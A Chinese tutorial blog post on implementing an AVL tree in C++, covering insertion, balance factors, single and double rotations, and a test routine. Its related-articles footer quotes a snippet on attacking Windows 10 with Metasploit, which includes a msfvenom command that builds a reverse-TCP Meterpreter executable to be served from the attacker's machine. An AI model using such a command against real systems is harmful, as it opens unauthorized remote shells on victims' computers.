【C++】AVL树模拟实现

news/2024/4/30 3:21:18/文章来源:https://blog.csdn.net/m0_69442905/article/details/127068723

文章目录

    • AVLTree概念
    • AVLTree插入实现
      • AVLTree测试
    • AVLTree的性能

AVLTree概念

AVLTree(搜索平衡二叉树)
性质一:每一个节点的左右子树都是AVLTree
性质二:每个节点左右子树高度只差不超过1

优点:提高查找效率,减少树的高度进而可以降低递归的深度。解决了有序插入导致二叉树退化成单支树的问题
缺点:为了保持平衡需要大量的旋转,插入,删除效率低。性价比不如红黑树

AVLTree插入实现

此样例使用 balance factor(_bf)来控制平衡

AVLTree和其节点的定义

//AVLTree节点
template<class K, class V>
struct AVLTreeNode
{AVLTreeNode(pair<K, V> kv):_left(nullptr), _right(nullptr), _parent(nullptr), _bf(0), _kv(kv){}AVLTreeNode<K, V>* _left;AVLTreeNode<K, V>* _right;AVLTreeNode<K, V>* _parent;int _bf;  //balance factor 平衡因子pair<K, V> _kv;
};template<class K, class V>
class AVLTree
{
private:Node* _root;
};

insert函数的实现

 bool insert(const pair<K, V>& kv){if (_root == nullptr){_root = new Node(kv);}else {Node* parent = nullptr;Node* cur = _root;while (cur){if (kv.first < cur->_kv.first){parent = cur;cur = cur->_left;}else if (kv.first > cur->_kv.first){parent = cur;cur = cur->_right;}else{return false;}}cur = new Node(kv);if (kv.first < parent->_kv.first){parent->_left = cur;cur->_parent = parent;}else if (kv.first > parent->_kv.first){parent->_right = cur;cur->_parent = parent;}//1.更新平衡因子 -- 新增结点到祖先结点的路径上的结点//2.若出现异常平衡因子,则需要旋转平衡处理while (parent){if (cur == parent->_right){parent->_bf++;}else{parent->_bf--;}//这里存在四种情况 //1.平衡因子大于1 或 小于-1 需要进行旋转平衡 //2.父亲的平衡因子等于0 这说明了这个一定是补上了子树矮的那一部分,子树的最大高度不变,无需继续向上调整//3.父亲平衡因子为1 或者 -1 说明子树有一边变高了,这棵树最大高度改变,需继续向上调整//4.父亲不存在了,一路更新到根节点if (parent->_bf == 2 || parent->_bf == -2){if (parent->_bf == -2 && cur->_bf == -1){Rrotate(cur);break;}else if (parent->_bf == 2 && cur->_bf == 1){Lrotate(cur);break;}else if (parent->_bf == -2 && cur->_bf == 1){LRrotate(parent);break;}else if (parent->_bf == 2 && cur->_bf == -1){RLrotate(parent);break;}else{assert(false);}}else if (parent->_bf == 0){break;}else if (parent->_bf == 1 || parent->_bf == -1){cur = parent;parent = parent->_parent;}else{//插入更新平衡因子前,就有问题了assert(false);}}return true;}}

一:插入节点
1.root为空,新建节点并初始化赋值给root
2.root非空,循环向下查找,若插入节点key大于cur节点的key,去cur右子树查找,反之去左子树找。若等于返回false。直到找到空位置新建节点进行插入
二:判断平衡
新结点的插入会导致平衡因子的变化,我们需要通过平衡因子进行判断怎么翻转节点
这里存在四种情况
1.平衡因子大于1 或 小于-1 需要进行旋转平衡
2.父亲的平衡因子等于0 这说明了这个一定是补上了子树矮的那一部分,子树的最大高度不变,无需继续向上调整
3.父亲平衡因子为1 或者 -1 说明子树有一边变高了,这棵树最大高度改变,需继续向上调整
4.一路更新到根节点,直到父亲不存在

情况一:右单旋
条件:parent->_bf = -2 && cur->_bf = -1
在这里插入图片描述

//右旋
void Rrotate(Node* cur){Node* parent = cur->_parent;Node* parpar = parent->_parent;Node* subL = cur;Node* subLR = subL->_right;parent->_bf = 0;subL->_bf = 0;parent->_left = subLR;if (subLR){subLR->_parent = parent;}subL->_right = parent;parent->_parent = subL;subL->_parent = parpar;if (parpar == nullptr){_root = subL;}else{if (parpar->_left == parent){parpar->_left = subL;}else{parpar->_right = subL;}}}

情况二:左单旋
条件:parent->_bf = 2 && cur->_bf = 1
在这里插入图片描述

以上两种情况为最简单的两种,经过旋转后,根节点和sub节点的平衡因子都为零,说明这一块子树已经平衡已经无需继续向上调整,所以可以直接break跳出循环

//左旋void Lrotate(Node* cur){Node* subR = cur;Node* parent = cur->_parent;Node* parpar = parent->_parent;Node* subRL = subR->_left;subR->_bf = parent->_bf = 0;if (subRL){subRL->_parent = parent;}parent->_right = subRL;parent->_parent = subR;subR->_left = parent;if (parpar == nullptr){_root = subR;}else{if (parpar->_left == parent){parpar->_left = subR;subR->_parent = parpar;}else{parpar->_right = subR;subR->_parent = parpar;}}}

情况三:先左旋,后右旋
有三种情况
1:parent->_bf = -2 && subL->_bf=1 && subLR->_bf=-1
在这里插入图片描述
2:parent->_bf = -2 && subL->_bf=1 && subLR->_bf=1
在这里插入图片描述
3.parent->_bf=-2 && subL->_bf = 1 && subLR->_bf==0
在这里插入图片描述

以上三种情况都是先左旋后右旋,最终根节点的平衡因子都是零,所以无需向上调整。但是我们发现情况一,情况二,情况三旋转后左右两结点的平衡因子组合有所不同,在完成双旋后,我们需要对平衡因子进行调整

情况四:先右旋,后左旋。和情况三类似

//先右旋,后左旋void RLrotate(Node* parent){Node* subRL = parent->_right->_left;Node* subR = parent->_right;//记录subLR的_bf 便于旋转后调整平衡因子int bf = subRL->_bf;Rrotate(subRL);Lrotate(subRL);if (bf == -1){subR->_bf = 1;subRL->_bf = parent->_bf = 0;}else if (bf == 1){parent->_bf = -1;subRL->_bf = subR->_bf = 0;}else if (bf == 0){parent->_bf = subRL->_bf = subR->_bf = 0;}}//先左旋,后右旋void LRrotate(Node* parent){Node* subLR = parent->_left->_right;Node* subL = parent->_left;int bf = subLR->_bf;Lrotate(subLR);Rrotate(subLR);if (bf == 1){subL->_bf = -1;parent->_bf = subLR->_bf = 0;}else if (bf == -1){parent->_bf = 1;subL->_bf = subLR->_bf = 0;}else if (bf == 0){parent->_bf = subL->_bf = subLR->_bf = 0;}}

旋转条件判断

//1.更新平衡因子 -- 新增结点到祖先结点的路径上的结点//2.若出现异常平衡因子,则需要旋转平衡处理while (parent){if (cur == parent->_right){parent->_bf++;}else{parent->_bf--;}//这里存在四种情况 //1.平衡因子大于1 或 小于-1 需要进行旋转平衡 //2.父亲的平衡因子等于0 这说明了这个一定是补上了子树矮的那一部分,子树的最大高度不变,无需继续向上调整//3.父亲平衡因子为1 或者 -1 说明子树有一边变高了,这棵树最大高度改变,需继续向上调整//4.父亲不存在了,一路更新到根节点if (parent->_bf == 2 || parent->_bf == -2){if (parent->_bf == -2 && cur->_bf == -1){Rrotate(cur);break;}else if (parent->_bf == 2 && cur->_bf == 1){Lrotate(cur);break;}else if (parent->_bf == -2 && cur->_bf == 1){LRrotate(parent);break;}else if (parent->_bf == 2 && cur->_bf == -1){RLrotate(parent);break;}else{assert(false);}}else if (parent->_bf == 0){break;}else if (parent->_bf == 1 || parent->_bf == -1){cur = parent;parent = parent->_parent;}else{//插入更新平衡因子前,就有问题了assert(false);}}return true;}

AVLTree测试

那么如何判断我们的树是否是AVL树呢?我们可以设计小实验来检测我们的树。
只要将每个结点的右子树高度减去左子树高度就可以得到这个结点的左右子树的高度差了,与_bf进行比对就可以判断是否平衡。

//递归取得树的深度
int tree_deep(Node* root){if (root == nullptr){return 0;}int deep = tree_deep(root->_left) + 1;if (deep < tree_deep(root->_right) + 1){deep = tree_deep(root->_right) + 1;}return deep;}
//根据深度来得到真实的高度差int Bfnum(Node* root){return tree_deep(root->_right) - tree_deep(root->_left);}
//中序遍历每个结点,并打印真实高度差和平衡因子void _inOrder(Node* root){if (root == nullptr){return;}_inOrder(root->_left);cout << root->_kv.first << ":" << root->_bf << ":" << Bfnum(root) << endl;_inOrder(root->_right);}void inOrder(){_inOrder(_root);}

AVLTree的性能

VL树是一棵绝对平衡的二叉搜索树,其要求每个节点的左右子树高度差的绝对值都不超过1,这样可以保证
查询时高效的时间复杂度log2(N) 。但是如果要对AVL树做一些结构修改的操作,性能非常低下,比如:
插入时要维护其绝对平衡,旋转的次数比较多,更差的是在删除时,有可能一直要让旋转持续到根的位置。
因此:如果需要一种查询高效且有序的数据结构,而且数据的个数为静态的(即不会改变),可以考虑AVL树,
但一个结构经常修改,就不太适合。

查找性能高,修改结构性能低。结构不会被修改时可以使用,若频繁增删则不太适合

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17648.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python容器

1.什么是数据容器&#xff1a; 一种可以存储多个元素Python数据类型 2.Python有哪些数据容器 列表list 元祖tuple 字符串str 集合set 字典dict 一&#xff1a;列表 list 可以容纳多个元素(上限2**63-1)可以容纳不同类型的元素数据是有序存储的&#xff08;索引&#xff09;允许…

三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

&#x1f60d;&#x1f60d;&#x1f60d;更多精彩福利&#x1f60d;&#x1f60d;&#x1f60d; 三维重建经典算法 1. ICP 迭代最近点算法&#xff08;Iterative Closest Point, ICP&#xff09;是一种点云配准算法&#xff0c;用来求解两堆点云之间的变换关系&#xff1a;…

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列&#xff08;一&#xff09;mysql体系结构和存储引擎MySQL怎么运行的系列&#xff08;二&#xff09;Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列&#xff08;三&#xff09;InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动&#xff0c;扫描得到所有BeanDefinition之后&#xff0c;就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里&#xff1a; org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路&#xff0c;需要外接上拉电阻&#xff0c;而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步&#xff0c;一定是找方向&#xff0c;SaaS产品的北极星指标处于商业目标&#xff0c;用户价值&#xff0c;和战略选择的交点上&#xff0c;且一般落实在功能使用量上。与To C产品的AARRR略有不同&#xff0c;To B SaaS产品驱动增长包含六大杠杆&#xff0c;…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文解读一下 Label, Verify, Correct (LVC)&#xff1a;一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD)&#xff0c;即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性&#xff1b;一起来学习摘自百度词条的信息&#xff1a; 图形用户界面&#xff08;Graphical User Interface&#xff0c;简称 GUI&#xff0c;又称图形用户接口&#xff09;是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化&#xff1a;CommonJS规范》文中对CMD规范进行了介绍&#xff0c;并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲&#xff0c;CommonJS这种模块化规范更加适用于服务器端编程&#xff0c;由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…

论文(一):Revisiting multiple instance neural networks

Revisiting multiple instance neural networks 回顾多示例神经网络 1、Abstract ​ 近年来&#xff0c;神经网络和多实例学习(MIL)都是人工智能相关研究领域的热门课题。深度神经网络在监督学习问题上取得了巨大的成功&#xff0c;而MIL作为一种典型的弱监督学习方法&#…

J2EE 知识点总结_上

J2EE 知识点总结_上基础概念数组选择排序 &#xff1a;交换排序 &#xff1a;插入排序面向对象重载&#xff08;**Overload**&#xff09;的概念构造器的作用&#xff1a;JavaBean多态性instanceof 操作符操作符与equals方法&#xff1a;包装类(Wrapper)的使用垃圾回收机制关键…